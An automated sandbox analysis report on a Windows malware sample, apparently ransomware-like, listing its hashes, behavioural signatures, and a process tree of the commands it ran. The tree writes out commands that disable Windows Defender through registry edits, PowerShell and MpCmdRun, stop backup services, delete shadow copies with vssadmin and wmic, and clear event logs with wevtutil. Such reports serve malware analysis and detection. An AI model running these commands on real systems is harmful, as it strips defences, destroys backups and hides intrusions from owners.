Resubmissions

13-01-2022 14:14

220113-rj8ymsagb4 10

13-01-2022 11:04

220113-m6crhahfgj 10

13-01-2022 10:58

220113-m3a4hahef9 10

Analysis

  • max time kernel
    57s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    13-01-2022 10:58

General

  • Target

    cab6cf122d0b7129f5083dd0f494bb2f0ecae8c02cf544111e1fc51e13a9fb68.exe

  • Size

    2.5MB

  • MD5

    8fdfa1997b566f6e086c29e33935dcc5

  • SHA1

    178fbe1c8fc1a6e3440215d668797699f94a4bef

  • SHA256

    cab6cf122d0b7129f5083dd0f494bb2f0ecae8c02cf544111e1fc51e13a9fb68

  • SHA512

    b185d1080c62f59ff26592321bf2a5cb85556260f34f59726cc9d5aeed1f82a48c710e8decd1212ddc2e4ca371ba83ad3aca6bf34587ddc73cc9c90afec467d5

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Modifies security service 2 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies registry class 3 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cab6cf122d0b7129f5083dd0f494bb2f0ecae8c02cf544111e1fc51e13a9fb68.exe
    "C:\Users\Admin\AppData\Local\Temp\cab6cf122d0b7129f5083dd0f494bb2f0ecae8c02cf544111e1fc51e13a9fb68.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3384
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2640
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
          PID:4240
      • C:\Windows\SysWOW64\net.exe
        net.exe stop "SDRSVC" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4076
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "SDRSVC" /y
          3⤵
            PID:2008
        • C:\Windows\SysWOW64\net.exe
          net.exe stop "SstpSvc" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4256
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop "SstpSvc" /y
            3⤵
              PID:4288
          • C:\Windows\SysWOW64\net.exe
            net.exe stop "UI0Detect" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4272
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop "UI0Detect" /y
              3⤵
                PID:4404
            • C:\Windows\SysWOW64\net.exe
              net.exe stop "vmicvss" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4384
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "vmicvss" /y
                3⤵
                  PID:4464
              • C:\Windows\SysWOW64\net.exe
                net.exe stop "VSS" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:4444
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop "VSS" /y
                  3⤵
                    PID:4344
                • C:\Windows\SysWOW64\net.exe
                  net.exe stop "wbengine" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4324
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 stop "wbengine" /y
                    3⤵
                      PID:4420
                  • C:\Windows\SysWOW64\net.exe
                    net.exe stop "WebClient" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3800
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 stop "WebClient" /y
                      3⤵
                        PID:4308
                    • C:\Windows\SysWOW64\net.exe
                      net.exe stop "UnistoreSvc_12cea" /y
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3076
                      • C:\Windows\SysWOW64\net1.exe
                        C:\Windows\system32\net1 stop "UnistoreSvc_12cea" /y
                        3⤵
                          PID:512
                      • C:\Windows\SysWOW64\sc.exe
                        sc.exe config "SamSs" start= disabled
                        2⤵
                          PID:652
                        • C:\Windows\SysWOW64\sc.exe
                          sc.exe config "SDRSVC" start= disabled
                          2⤵
                            PID:3260
                          • C:\Windows\SysWOW64\sc.exe
                            sc.exe config "SstpSvc" start= disabled
                            2⤵
                              PID:1032
                            • C:\Windows\SysWOW64\sc.exe
                              sc.exe config "UI0Detect" start= disabled
                              2⤵
                                PID:1244
                              • C:\Windows\SysWOW64\sc.exe
                                sc.exe config "vmicvss" start= disabled
                                2⤵
                                  PID:1508
                                • C:\Windows\SysWOW64\sc.exe
                                  sc.exe config "VSS" start= disabled
                                  2⤵
                                    PID:1784
                                  • C:\Windows\SysWOW64\sc.exe
                                    sc.exe config "wbengine" start= disabled
                                    2⤵
                                      PID:1284
                                    • C:\Windows\SysWOW64\sc.exe
                                      sc.exe config "WebClient" start= disabled
                                      2⤵
                                        PID:2348
                                      • C:\Windows\SysWOW64\sc.exe
                                        sc.exe config "UnistoreSvc_12cea" start= disabled
                                        2⤵
                                          PID:2584
                                        • C:\Windows\SysWOW64\reg.exe
                                          reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                          2⤵
                                            PID:2768
                                          • C:\Windows\SysWOW64\reg.exe
                                            reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                                            2⤵
                                              PID:3156
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                                              2⤵
                                                PID:3244
                                              • C:\Windows\SysWOW64\reg.exe
                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                                                2⤵
                                                  PID:4836
                                                • C:\Windows\SysWOW64\reg.exe
                                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                                                  2⤵
                                                    PID:1148
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                                    2⤵
                                                      PID:4976
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                                      2⤵
                                                        PID:2000
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                                        2⤵
                                                          PID:4960
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                                          2⤵
                                                            PID:4864
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                                            2⤵
                                                              PID:4580
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                                              2⤵
                                                                PID:3196
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                                                2⤵
                                                                  PID:4912
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                                                  2⤵
                                                                    PID:2688
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                                                    2⤵
                                                                      PID:1060
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                      2⤵
                                                                        PID:884
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                        2⤵
                                                                          PID:1044
                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                          schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                                                          2⤵
                                                                            PID:2496
                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                                                            2⤵
                                                                              PID:4788
                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                                              2⤵
                                                                                PID:924
                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                                                2⤵
                                                                                  PID:2544
                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                                                  2⤵
                                                                                    PID:1340
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                                                    2⤵
                                                                                      PID:1516
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                                                      2⤵
                                                                                        PID:1776
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                                                        2⤵
                                                                                          PID:2172
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                          • Modifies registry class
                                                                                          PID:2020
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                          • Modifies registry class
                                                                                          PID:2292
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                          • Modifies registry class
                                                                                          PID:3112
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                                          2⤵
                                                                                            PID:3836
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                                            2⤵
                                                                                              PID:1616
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                                              2⤵
                                                                                                PID:1564
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                2⤵
                                                                                                  PID:3844
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                  2⤵
                                                                                                  • Modifies security service
                                                                                                  PID:1864
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                  2⤵
                                                                                                    PID:4372
                                                                                                  • C:\Windows\SysWOW64\vssadmin.exe
                                                                                                    vssadmin.exe delete shadows /all /quiet
                                                                                                    2⤵
                                                                                                    • Interacts with shadow copies
                                                                                                    PID:2192
                                                                                                  • C:\Windows\SysWOW64\wevtutil.exe
                                                                                                    wevtutil.exe cl system
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:4000
                                                                                                  • C:\Windows\SysWOW64\wevtutil.exe
                                                                                                    wevtutil.exe cl security
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:4040
                                                                                                  • C:\Windows\SysWOW64\wevtutil.exe
                                                                                                    wevtutil.exe cl application
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:4092
                                                                                                  • C:\Windows\SysWOW64\Wbem\wmic.exe
                                                                                                    wmic.exe SHADOWCOPY /nointeractive
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:3128
                                                                                                  • C:\Windows\SysWOW64\Wbem\wmic.exe
                                                                                                    wmic.exe shadowcopy delete
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:4316
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                    2⤵
                                                                                                      PID:736
                                                                                                      • C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                                        "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                        3⤵
                                                                                                        • Deletes Windows Defender Definitions
                                                                                                        PID:4344
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                      2⤵
                                                                                                        PID:4356
                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                          powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                          3⤵
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          PID:3280
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                        2⤵
                                                                                                          PID:1544
                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                            3⤵
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            PID:2148

                                                                                                      Network

                                                                                                      MITRE ATT&CK Enterprise v6

                                                                                                      Replay Monitor

                                                                                                      Loading Replay Monitor...

                                                                                                      Downloads

                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                        MD5

                                                                                                        1c19c16e21c97ed42d5beabc93391fc5

                                                                                                        SHA1

                                                                                                        8ad83f8e0b3acf8dfbbf87931e41f0d664c4df68

                                                                                                        SHA256

                                                                                                        1bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05

                                                                                                        SHA512

                                                                                                        7d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c

                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                        MD5

                                                                                                        4dead21eadbf49fd5eb9883f0504c894

                                                                                                        SHA1

                                                                                                        b39d0806a2de4fa89d2e50394bcd9e02e7bebd5f

                                                                                                        SHA256

                                                                                                        1b526fe2bcaad9a0794d2ed8069bf860d0ac9d6184f17ef59dd41893eb4031da

                                                                                                        SHA512

                                                                                                        e48b5b353ac29099090653a9770592e9bbb8d7eece0125ddf47f939812bcdd1fc7e98b84825de15fd01ed3713a8b966489657a6a83857a32a3f94f60374ef56a

                                                                                                      • memory/512-132-0x0000000000000000-mapping.dmp

                                                                                                      • memory/652-133-0x0000000000000000-mapping.dmp

                                                                                                      • memory/884-156-0x0000000000000000-mapping.dmp

                                                                                                      • memory/924-160-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1032-135-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1044-157-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1060-155-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1148-146-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1244-136-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1284-139-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1340-162-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1508-137-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1516-163-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1564-171-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1616-170-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1776-164-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1784-138-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1864-173-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2000-148-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2008-118-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2020-166-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2148-435-0x0000000004E50000-0x0000000004E51000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/2148-443-0x0000000008B20000-0x0000000008B6B000-memory.dmp

                                                                                                        Filesize

                                                                                                        300KB

                                                                                                      • memory/2148-439-0x0000000008070000-0x00000000080D6000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/2148-437-0x0000000007F70000-0x0000000007F92000-memory.dmp

                                                                                                        Filesize

                                                                                                        136KB

                                                                                                      • memory/2148-434-0x0000000007840000-0x0000000007E68000-memory.dmp

                                                                                                        Filesize

                                                                                                        6.2MB

                                                                                                      • memory/2148-433-0x00000000071D0000-0x0000000007206000-memory.dmp

                                                                                                        Filesize

                                                                                                        216KB

                                                                                                      • memory/2148-457-0x0000000008250000-0x00000000082B6000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/2148-455-0x0000000009AA0000-0x0000000009AD3000-memory.dmp

                                                                                                        Filesize

                                                                                                        204KB

                                                                                                      • memory/2148-438-0x0000000008250000-0x00000000082B6000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/2148-456-0x0000000007F70000-0x0000000007F92000-memory.dmp

                                                                                                        Filesize

                                                                                                        136KB

                                                                                                      • memory/2148-458-0x0000000008070000-0x00000000080D6000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/2148-454-0x0000000009AA0000-0x0000000009AD3000-memory.dmp

                                                                                                        Filesize

                                                                                                        204KB

                                                                                                      • memory/2148-453-0x0000000007840000-0x0000000007E68000-memory.dmp

                                                                                                        Filesize

                                                                                                        6.2MB

                                                                                                      • memory/2148-444-0x00000000089C0000-0x0000000008A36000-memory.dmp

                                                                                                        Filesize

                                                                                                        472KB

                                                                                                      • memory/2148-440-0x00000000082C0000-0x0000000008610000-memory.dmp

                                                                                                        Filesize

                                                                                                        3.3MB

                                                                                                      • memory/2148-436-0x0000000004E52000-0x0000000004E53000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/2148-673-0x0000000009D60000-0x0000000009D68000-memory.dmp

                                                                                                        Filesize

                                                                                                        32KB

                                                                                                      • memory/2148-460-0x00000000089C0000-0x0000000008A36000-memory.dmp

                                                                                                        Filesize

                                                                                                        472KB

                                                                                                      • memory/2148-459-0x0000000008B20000-0x0000000008B6B000-memory.dmp

                                                                                                        Filesize

                                                                                                        300KB

                                                                                                      • memory/2148-461-0x0000000009880000-0x000000000989E000-memory.dmp

                                                                                                        Filesize

                                                                                                        120KB

                                                                                                      • memory/2148-466-0x0000000009AF0000-0x0000000009B95000-memory.dmp

                                                                                                        Filesize

                                                                                                        660KB

                                                                                                      • memory/2148-442-0x00000000086D0000-0x00000000086EC000-memory.dmp

                                                                                                        Filesize

                                                                                                        112KB

                                                                                                      • memory/2148-467-0x000000007F4D0000-0x000000007F4D1000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/2148-468-0x0000000009DA0000-0x0000000009E34000-memory.dmp

                                                                                                        Filesize

                                                                                                        592KB

                                                                                                      • memory/2148-539-0x0000000004E53000-0x0000000004E54000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/2148-662-0x0000000009D70000-0x0000000009D8A000-memory.dmp

                                                                                                        Filesize

                                                                                                        104KB

                                                                                                      • memory/2148-667-0x0000000009D70000-0x0000000009D8A000-memory.dmp

                                                                                                        Filesize

                                                                                                        104KB

                                                                                                      • memory/2148-668-0x0000000009D60000-0x0000000009D68000-memory.dmp

                                                                                                        Filesize

                                                                                                        32KB

                                                                                                      • memory/2172-165-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2192-175-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2292-167-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2348-140-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2496-158-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2544-161-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2584-141-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2640-115-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2688-154-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2768-142-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3076-131-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3112-168-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3156-143-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3196-152-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3244-144-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3260-134-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3280-192-0x0000000003270000-0x0000000003271000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/3280-206-0x0000000008040000-0x00000000080A6000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/3280-184-0x00000000075F0000-0x0000000007612000-memory.dmp

                                                                                                        Filesize

                                                                                                        136KB

                                                                                                      • memory/3280-185-0x0000000007DF0000-0x0000000007E56000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/3280-186-0x0000000008040000-0x00000000080A6000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/3280-187-0x00000000080E0000-0x0000000008430000-memory.dmp

                                                                                                        Filesize

                                                                                                        3.3MB

                                                                                                      • memory/3280-188-0x0000000004C72000-0x0000000004C73000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/3280-189-0x0000000007F20000-0x0000000007F3C000-memory.dmp

                                                                                                        Filesize

                                                                                                        112KB

                                                                                                      • memory/3280-190-0x00000000088C0000-0x000000000890B000-memory.dmp

                                                                                                        Filesize

                                                                                                        300KB

                                                                                                      • memory/3280-191-0x0000000008750000-0x00000000087C6000-memory.dmp

                                                                                                        Filesize

                                                                                                        472KB

                                                                                                      • memory/3280-179-0x0000000003270000-0x0000000003271000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/3280-200-0x0000000007650000-0x0000000007C78000-memory.dmp

                                                                                                        Filesize

                                                                                                        6.2MB

                                                                                                      • memory/3280-201-0x0000000009840000-0x0000000009873000-memory.dmp

                                                                                                        Filesize

                                                                                                        204KB

                                                                                                      • memory/3280-203-0x0000000009840000-0x0000000009873000-memory.dmp

                                                                                                        Filesize

                                                                                                        204KB

                                                                                                      • memory/3280-202-0x000000007F120000-0x000000007F121000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/3280-205-0x0000000007DF0000-0x0000000007E56000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/3280-204-0x00000000075F0000-0x0000000007612000-memory.dmp

                                                                                                        Filesize

                                                                                                        136KB

                                                                                                      • memory/3280-183-0x0000000007650000-0x0000000007C78000-memory.dmp

                                                                                                        Filesize

                                                                                                        6.2MB

                                                                                                      • memory/3280-208-0x0000000008750000-0x00000000087C6000-memory.dmp

                                                                                                        Filesize

                                                                                                        472KB

                                                                                                      • memory/3280-207-0x00000000088C0000-0x000000000890B000-memory.dmp

                                                                                                        Filesize

                                                                                                        300KB

                                                                                                      • memory/3280-209-0x0000000009610000-0x000000000962E000-memory.dmp

                                                                                                        Filesize

                                                                                                        120KB

                                                                                                      • memory/3280-214-0x0000000009880000-0x0000000009925000-memory.dmp

                                                                                                        Filesize

                                                                                                        660KB

                                                                                                      • memory/3280-215-0x0000000009B30000-0x0000000009BC4000-memory.dmp

                                                                                                        Filesize

                                                                                                        592KB

                                                                                                      • memory/3280-222-0x0000000004C73000-0x0000000004C74000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/3280-409-0x0000000009AE0000-0x0000000009AFA000-memory.dmp

                                                                                                        Filesize

                                                                                                        104KB

                                                                                                      • memory/3280-414-0x0000000009AE0000-0x0000000009AFA000-memory.dmp

                                                                                                        Filesize

                                                                                                        104KB

                                                                                                      • memory/3280-415-0x0000000009AD0000-0x0000000009AD8000-memory.dmp

                                                                                                        Filesize

                                                                                                        32KB

                                                                                                      • memory/3280-420-0x0000000009AD0000-0x0000000009AD8000-memory.dmp

                                                                                                        Filesize

                                                                                                        32KB

                                                                                                      • memory/3280-182-0x0000000004C70000-0x0000000004C71000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/3280-181-0x0000000006FE0000-0x0000000007016000-memory.dmp

                                                                                                        Filesize

                                                                                                        216KB

                                                                                                      • memory/3280-180-0x0000000003270000-0x0000000003271000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/3800-129-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3836-169-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3844-172-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4000-176-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4040-177-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4076-117-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4092-178-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4240-116-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4256-119-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4272-121-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4288-120-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4308-130-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4324-127-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4344-126-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4372-174-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4384-123-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4404-122-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4420-128-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4444-125-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4464-124-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4580-151-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4788-159-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4836-145-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4864-150-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4912-153-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4960-149-0x0000000000000000-mapping.dmp

                                                                                                      • memory/4976-147-0x0000000000000000-mapping.dmp